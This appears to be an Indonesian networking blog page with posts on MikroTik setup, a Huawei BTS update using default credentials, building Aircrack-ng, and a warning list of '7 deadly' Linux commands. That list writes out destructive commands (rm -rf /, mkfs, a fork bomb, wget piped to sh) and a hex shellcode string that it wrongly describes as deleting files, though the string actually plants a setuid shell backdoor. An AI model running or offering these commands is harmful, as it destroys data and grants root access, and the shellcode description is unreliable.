Setting Router Mikrotik

Untuk LAN, kita pake kelas C, dengan network 192.168.0.0/24.
Untuk Mikrotik RouterOS, kita perlu dua ethernet card.
Satu (ether1 - 192.168.1.2/24) untuk sambungan ke Modem ADSL dan
satu lagi (ether2 - 192.168.0.1/24) untuk sambungan ke LAN.
Untuk Modem ADSL, IP kita set 192.168.1.1/24.  

Set IP untuk masing²ethernet card
ip address add address=192.168.1.2/24 interface=ether1
ip address add address=192.168.0.1/24 interface=ether2

Menambahkan Routing
ip route add gateway=192.168.1.1

Setting DNS
ip dns set primary-dns=202.134.1.10 allow-remote-requests=yes
ip dns set secondary-dns=202.134.0.155 allow-remote-requests=yes

Karena koneksi ini menggunakan Speedy dari Telkom, maka DNS yg aq pake ya punya Telkom.
ping yahoo.com

Jika hasilnya sukses, maka settingan DNS sudah benar

Source NAT (Network Address Translation) / Masquerading Agar semua komputer yg ada di LAN bisa terhubung ke internet 
ip firewall nat add chain=srcnat action=masquerade out-interface=ether1

Sekarang coba lakukan ping ke yahoo.com dari komputer yang ada di LAN
ping yahoo.com

DHCP (DynamicHost Configuration Protocol) Membuat IP Address Pool
ip pool add name=dhcp-pool ranges=192.168.0.2-192.168.0.254

Menambahkan DHCP Network
ip dhcp-server network add address=192.168.0.0/24 gateway=192.168.0.1 dns-server=202.134.1.10,202.134.0.155  

Menambahkan Server DHCP
ip dhcp-server add name=DHCP_LAN disabled=no interface=ether2 address-pool=dhcp-pool

Sekarang coba lakukan testing dari komputer klien, untuk me-request IP Address dari Server DHCP.

Bandwidth Control 
Kondisinya seperti ini: Koneksi Speedy kan katanya speednya sampe 384/64 Kbps (Download/Upload), nah kondisi itu sangat jarang tercapai. Jadi kita harus cari estimasi rata²nya. Maka saya ambil minimalnya untuk download bisa dapet sekitar 300 Kbps dan untuk upload aq alokasikan 50 Kbps. Sedangkan untuk yg maksimumnya, untuk download kira² 380 Kbps dan upload 60 Kbps. Lalu, jumlah komputer klien yang ada saat ini adalah 10 buah. Jadi harus disiapkan bandwidth itu untuk dibagikan kepada 10 klien tersebut. 
Perhitungan untuk masing² klien seperti ini: 
Minimal Download: 300 / 10 * 1024 = 30720 bps 
Maximal Download: 380 / 10 * 1024 = 38912 bps 
Minimal Upload: 50 / 10 * 1024 = 5120 bps 
Maximal Upload: 60 / 10 * 1024 = 6144 bps 

Tandai semua paket yg asalnya dari LAN 
ip firewall mangle add src-address=192.168.0.0/24 action=mark-connection new-connection-mark=Clients-con chain=prerouting 
ip firewall mangle add connection-mark=Clients-con action=mark-packet new-packet-mark=Clients chain=prerouting 

Menambahkan rule yg akan membatasi kecepatan download dan upload 
queue tree add name=Clients-Download parent=ether2 packet-mark=Clients limit-at=30720 max-limit=38912 
queue tree add name=Clients-Upload parent=ether1 packet-mark=Clients limit-at=5120 max-limit=6144 

Graphing 
tool graphing set store-every=5min 
tool graphing interface add-interface=all store-on-disk=yes Selengkapnya...

Tidak ada komentar:

Config BTS 3900 Huawei, update script NodeB:

1. Ganti IP Laptop menjadi seperti di bawah ini :

 
2. Jalankan software Local Maintenance Terminal (LMT)
3. Login dengan menggunakan data berikut,
   User : admin | Password : NodeB
 
4. Klik Tab : Maintenance dan pilih Software Management : 
 
5. Pilih Update NodeB Software lalu klik Next
  

6. Ketika jendela Software Update terbuka : 
 - Uncheck Backup Data Configuration File
  
Tunggu sampai update selesai:

 
  

Perintah yang bisa di gunakan untuk cek status: 
LST VER : UNT LIHAT STATUS NORMAL ATAU FRACTIONAL 
DSP SCTPLNK : UNT LIHAT LINK UP ATAU DOWN 
DSP DEVIP : UNTUK LIHAT IP BTS 
F9 : EXECUTE 
Smoga Bermanfaat

Selengkapnya...

3 komentar:

Apa itu open source (sumber terbuka) ?

Sumber terbuka (Inggris: open source) adalah sistem pengembangan yang tidak dikoordinasi oleh suatu individu / lembaga pusat, tetapi oleh para pelaku yang bekerja sama dengan memanfaatkan kode sumber (source-code) yang tersebar dan tersedia bebas (biasanya menggunakan fasilitas komunikasi internet). Pola pengembangan ini mengambil model ala bazaar, sehingga pola Open Source ini memiliki ciri bagi komunitasnya yaitu adanya dorongan yang bersumber dari budaya memberi, yang artinya ketika suatu komunitas menggunakan sebuah program Open Source dan telah menerima sebuah manfaat kemudian akan termotivasi untuk menimbulkan sebuah pertanyaan apa yang bisa pengguna berikan balik kepada orang banyak. Pola Open Source lahir karena kebebasan berkarya, tanpa intervensi berpikir dan mengungkapkan apa yang diinginkan dengan menggunakan pengetahuan dan produk yang cocok. Kebebasan menjadi pertimbangan utama ketika dilepas ke publik. Komunitas yang lain mendapat kebebasan untuk belajar, mengutak-ngatik, merevisi ulang, membenarkan ataupun bahkan menyalahkan, tetapi kebebasan ini juga datang bersama dengan tanggung jawab, bukan bebas tanpa tanggung jawab. 

Konsep dan definisi 
Pada intinya konsep sumber terbuka adalah membuka "kode sumber" dari sebuah perangkat lunak. Konsep ini terasa aneh pada awalnya dikarenakan kode sumber merupakan kunci dari sebuah perangkat lunak. Dengan diketahui logika yang ada di kode sumber, maka orang lain semestinya dapat membuat perangkat lunak yang sama fungsinya. Sumber terbuka hanya sebatas itu. Artinya, dia tidak harus gratis. Definisi sumber terbuka yang asli adalah seperti tertuang dalam OSD (Open Source Definition)/Definisi sumber terbuka.

Pergerakan sumber terbuka dan perangkat lunak bebas 
Pergerakan perangkat lunak bebas dan sumber terbuka saat ini membagi pergerakannya dengan pandangan dan tujuan yang berbeda. Sumber terbuka adalah pengembangan secara metodelogi, perangkat lunak tidak bebas adalah solusi suboptimal. Bagi pergerakan perangkat lunak bebas, perangkat lunak tidak bebas adalah masalah sosial dan perangkat lunak bebas adalah solusi. sumber:http://id.wikipedia.org/wiki/Sumber_terbuka
Selengkapnya...

Tidak ada komentar:

[Ubuntu 12.04] Instalasi Aircrack-ng 1.1 Dari Source Code (Kode Sumber tar.gz)

Untuk menginstall Aircrack-ng 1.1 dari source code tar.gz (kode sumber) lakukan langkah-langkah berikut:
1. Install dulu paket untuk kompilasi dan dependesinya
sudo apt-get install build-essential libssl-dev libsqlite3-dev
 2. Download dan ekstrak aircrack-ng
wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
 tar zxf aircrack-ng-1.1.tar.gz
 cd aircrack-ng-1.1
 3. Edit file common.mak gedit common.mak
Cari baris
CFLAGS ?= -g -W -Wall -Werror -O3
 Hapus -Werror sehingga menjadi seperti ini:
CFLAGS ?= -g -W -Wall -O3
 4. Kompilasi dan Install
make
 sudo make install
Semoga bermanfaat Selengkapnya...

Tidak ada komentar:

Modul TKJ untuk kelas X, XI, XII


Modul Teknik Komputer dan Jaringan Kelas X


Modul Teknik Komputer dan Jaringan Kelas XI
9: Menginstalasi Sistem Operasi Berbasis Text
10: Menginstalasi Perangkat Jaringan Lokal (LAN)
11: Mendiagnosis Permasalahan PC yang Tersambung Jaringan
12: Melakukan Perbaikan dan Setting Ulang Koneksi Jaringan
13: Menginstalasi Sistem Operasi Jaringan Berbasis GUI
14: Menginstalasi Sistem Operasi Jaringan Berbasis Text

Modul Teknik Komputer dan Jaringan Kelas Xii
15: Menginstalasi Sistem Operasi Jaringan Berbasis Luas (WAN)
16: Mendiagnosis Permasalahan Perangkat yang Tersambung Jaringan Berbasis Luas (WAN)
17: Mengadministrasi server dalam Jaringan
18: Merancang Bangun & Menganalisa WAN  
Source:(http://pakguruku.blogspot.com...http://mamaders.blogspot.com/) Selengkapnya...

Tidak ada komentar:

Berikut adalah 7 perintah berbahaya yang disajikan dari 7 Deadly Command:


1. Perintah rm -rf /
Perintah ini akan menghapus seluruh isi folder / (root folder atau root directory). Root folder memang dilindungi oleh hak akses user root, tapi akan sangat berbahaya jika perintah diatas dieksekusi saat kita berada dalam hak akses root. Itulah mengapa sangat dianjurkan untuk menggunakan hak akses user biasa untuk kegiatan sehari-hari.Perintah diatas juga tetap berbahaya jika dijalankan oleh user biasa yang dapat merusak isi folder miliknya sendiri
2. Perintah menggunakan bilangan hexa 
char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ 
=“\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ 
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ 
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ 
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ 
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ 
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ 
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″ 
“cp -p /bin/sh /tmp/.beyond; chmod 4755 
 /tmp/.beyond;”;
Perintah diatas sama dengan perintah pada nomor 1 hanya saja ditulis dalam bilangan hexa. Jika dieksekusi, sama halnya menghapus seluruh isi folder (rm -rf /). Karena ditulis dalam bilangan hexa, perintah ini bisa juga menjebak user Linux yang berpengalaman

3. Perintah mkfs.ext3 /dev/sda
Perintah ini sama halnya melakukan perintah format pada partisi yang
ditunjuk.

4. Perintah forkbomb :(){:|:&};: 
Perintah ini akan memerintahkan sistem untuk mengeksekusi berbagai proses sampai hang. Biasanya akan mengakibatkan hilangnya data karena komputer terpaksa harus dimatikan secara paksa.

5. Perintah apapun > /dev 
Perintah ini akan menimpa sistem file device yang ditunjuk dan pada akhirnya bisa menyebabkan hilangnya data yang dimounting pada folder /dev (folder /dev biasa digunakan untuk menempatkan keterangan hardware dan harddisk)

6. Perintah untuk eksekusi file shell tertentu
Perintah wget http://alamat-url-yangtidak-jelas -O- | sh akan memerintahkan Linux untuk langsung menjalankan file sh yang ditunjuk. File sh adalah file eksekusi di Linux, sama halnya file .exe. Jangan sekali-kali melakukan perintah diatas untuk file sh yang tidak jelas sumber dan peruntukannya.

7. Perintah memindahkan home folder ke /dev/null mv /home/home-directory/* /dev/null
Perintah ini akan memindahkan seluruh data di home folder ke file null (file yang sebenarnya tidak ada). File yang dipindahkan akan hilang selamanya tanpa ada backup…

Selain 7 perintah diatas, ada beberapa perintah lainnya yang mungkin belum dimasukkan disini. Prinsip hati-hati dalam menjalankan suatu perintah merupakan hal mutlak yang harus selalu diingat oleh pengguna Linux.


Selengkapnya...

Tidak ada komentar:

Mencheck Keamanan Situs Anda

Onno W. Purbo:

Pada saat anda / institusi anda mengambil keputusan untuk berada (presense) di Internet maka reputasi anda akan juga di tentukan oleh image anda di Internet. Tentunya konsep-konsep public relation (PR) yang dikenal lama di dunia old-economy juga berlaku di dunia cyber; bedanya di dunia cyber infrastruktur mampu untuk berinteraksi dua (2) arah menjadikan segalanya menjadi lebih menarik. Tentunya kemampuan infrastruktur interaksi dua (2) arah hanya berguna jika kita mau berinteraksi dengan masyarakat banyak di internet, kecepatan & kemampuan kita untuk merespons mayarakat yang akhirnya menjadi bagian penting dalam berbagai aspek sosial dalam hubungan antar manusia. Aspek yang tidak kalah pentingnya adalah kemampuan pertahanan situs kita terhadap serangan cracker yang ingin mengacaukan situs. Bayangkan kalau informasi situs ternyata di ubah oleh para hacker / cracker betapa malunya yang mempunyai situs yang lebih memalukan lagi adalah owner dari situs karena kesan-nya menjadi sangat buruk. Bayangkan kalau situs tersebut adalah situs toko atau bank tentunya akan sangat sulit bagi kita meraih kepercayaan publik sehingga akan merembet ke berbagai seperti tidak akan ada transaksi dagang. Bagaimana kita bisa percaya bahwa transaksi yang dilakukan apakah tidak akan di intip oleh orang lain? Apakah kita bisa percaya bahwa nomor kartu kredit tidak akan di curi?
Salah satu cara yang paling sederhana adalah dengan cara memohon pertolongan kepada rekan-rekan yang ahli dalam bidang keamanan jaringan Internet untuk membantu mengamankan situs yang kita miliki. Ada beberapa servis di Internet yang bisa memberikan servis untuk mencheck maupun mengamankan situs yang kita miliki. Contohnya adalah secure-me.net adalah servis di Internet yang dapat mengamankan atau minimal apakah setting Internet yang kita gunakan cukup baik & tidak bolong oleh cracker. Contoh servis ini adalah http://www.secure-me.net Secure-Me (http://www.secure-me.net) merupakan servis di Internet yang sebagian bisa di peroleh secara cuma-cuma untuk melihat apakah sistem jaringan yang kita miliki cukup aman & tidak ada hole yang terbuka. Memang scan yang sifatnya kompleks tidak diberikan secara gratis. Tampak pada gambar adalah http://www.secure-me.net pada saat kita melakukan registrasi untuk meminta tolong agar sistem yang kita miliki di scan. Secure-Me bukan sekedar menscan biasa. Setelah melakukan scan awal, Secure-Me akan mengevaluasi hasilnya untuk kemudian mendeteksi berbagai kelemahan yang ada pada sistem. Karena pengalaman mereka dalam melakukan scanning berbagai sistem maka setiap minggu secure-me mau tidak mau harus mencoba banyak hal yang baru. Tampak pada gambar juga diperlihatkan antrian berbagai mesin yang mengantri untuk di scan. Memang untuk basic scan hanya dibutuhkan waktu 3-4 menit saja untuk setiap mesin. Untuk scan yang lengkap dibutuhkan waktu sekitar 30-60 menit. Apakah sistem anda cukup aman? Dari statistik yang diperoleh rekan-rekan di secure-me dari saat mereka memulai scanning pada bulan juli yang lalu dan menjalankan lebih dari 32.000 scan hanya 3% dari mesin yang ada memperoleh score yang baik. 97% dari mesin di Internet yang mereka scan ternyata mempunyai satu atau lebih kelemahan. Termasuk diantaranya mempunyai servis jaringan yang tidak perlu, nama public, guest account, proteksi konfigurasi, printer yang terbuka ke semua orang dsb. Jelas anda perlu bertanya ke diri sendiri lagi apakah anda betul-betul aman? Lebih gila lagi Secure-Me mempunyai fasilitas untuk mengingat setup sistem jaringan / komputer kita dengan cara itu jika bisa saja meminta Secure-Me untuk menjalankan servis scan secara berulang terus menerus untuk menjaga-jaga kalau-kalau ada orang yang mengganti setup system yang kita gunakan. Cara lain yang juga dapat di tempuh adalah berteman dengan teman-teman hacker yang ada di Indonesia memang ada beberapa kelompok dari rekan-rekan hacker ini dan usia mereka rata-rata masih sangat muda. Beberapa diantara mereka termasuk jempolan seperti Wenas yang pernah di adili di pengadilan Singapura karena membobol situs di Singapura pada usia 15 tahun. Mereka adalah orang-orang yang bukan sembarangan bahkan dalam usia yang masih sangat muda ternyata mempunyai kemampuan yang luar biasa di luar kemampuan mereka yang jauh lebih tua & veteran di Internet. Sebetulnya jika saja kita bisa cukup baik bergaul dengan rekan-rekan hacker ini sebetulnya mereka adalah orang yang baik-baik juga. Seperti halnya berteman biasa ada semacam ikatan antar teman, kesetia kawanan ini menjadi menarik jika kita memasuki bidang security jaringan Internet. Sering kali kita justru di bantu oleh teman-teman muda yang secara informal membantu mengamankan internet di Indonesia.
Selengkapnya...

Tidak ada komentar:
Langganan: Postingan (Atom)
 
monkey blog-->> © 2011